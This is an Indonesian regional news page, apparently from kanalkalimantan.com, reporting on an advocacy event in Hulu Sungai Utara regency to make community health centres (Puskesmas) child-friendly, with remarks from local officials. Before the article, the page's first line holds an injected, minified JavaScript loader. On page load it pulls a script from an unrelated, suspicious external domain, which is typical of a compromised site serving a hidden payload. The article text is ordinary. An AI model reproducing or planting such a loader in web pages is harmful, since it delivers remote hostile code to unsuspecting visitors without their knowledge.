(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Peserta sosialisasi advokasi model pelayanan ramah anak di Puskesmas se Kabupaten HSU.
AMUNTAI, Dalam mewujudkan kabupaten layak anak, Badan Pemberdayaan Perempuan dan Perlindungan Anak (BP3A) bekerjasama dengan Kementerian Pemberdayaan Perempuan dan Perlindungan Anak menggelar advokasi model pelayanan ramah anak di Puskesmas se Kabupaten HSU.
Acara yang bertempat di Aula Hotel Balqis guna memberikan pemahaman dan pemenuhan hak Kesehatan atas anak, serta bagaimana langkah-langkah membangun Puskesmas yang ramah anak. Hal tersebut seperti yang disampaikan oleh Hj Gusti Iskandariah selaku kepala BP3A Kabupaten HSU dalam pembukaan acara.
Ia mengatakan, berdasarkan atas surat keputusan Bupati HSU diharapkan kedepan seluruh Puskesmas yang ada di kabupaten HSU menjadi Puskesmas ramah anak. “Berdasarkan surat keputusan Bupati, ia menghendaki semua Puskesmas diHulu Sungai Utara sudah ramah anak,” ujar Gusti Iskandariah.
Sementara itu, PLT Seketaris Daerah Kabupaten HSU H.Suyadi dalam sambutannya mengatakan, bahwa selaku orang tua merupakan salah satu hal utama untuk memberikan pengawasan terhadap anak baik ditingkat lingkungan keluarga, masyarakat dan sekolah agar terhindar dari berbagai ancaman khusus nya Narkoba,” jelas Suyadi.
Selain itu dalam sambutan tertulis Bupati HSU yang juga dibacakan oleh PLT Sekda HSU H Suyadi mengatakan, melalui program ini diharapkan dapat meningkatkan pemahaman terhadap kebijakan pemerintah tentang pemenuhan hak Kesehatan anak melalui pengembangan Puskesmas layak anak.
Dan melalui program ini pula diharapkan segala hak anak dapat terpenuhi, baik semenjak didalam kandungan maupun pada masa-masa tumbuh kembangnya sehingga menghasilkan anak-anak yang berkualitas,†lanjutnya.
Dalam acara yang diisi dengan penjelasan pemahaman menuju puskesmas layak anak oleh pemateri Hendra Jamal’s, Shanez alamudi dan Ratnawati dari Kementerian Pemberdayaan Perempuan dan Perlindungan Anak Republik Indonesia ini berlangsung dengan tanya jawab.
Disamping diikuti oleh 15 perwakilan puskesmas se Kabupaten, acara ini juga dihadiri oleh perwakilan BAPPEDA, Dinas Kesehatan, Dinas Sosial, PKK, BNN Kabupaten, Kemenag, komisi perlindungan anak dan Lembaga Swadaya Masyarakat Kabupaten HSU.***
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.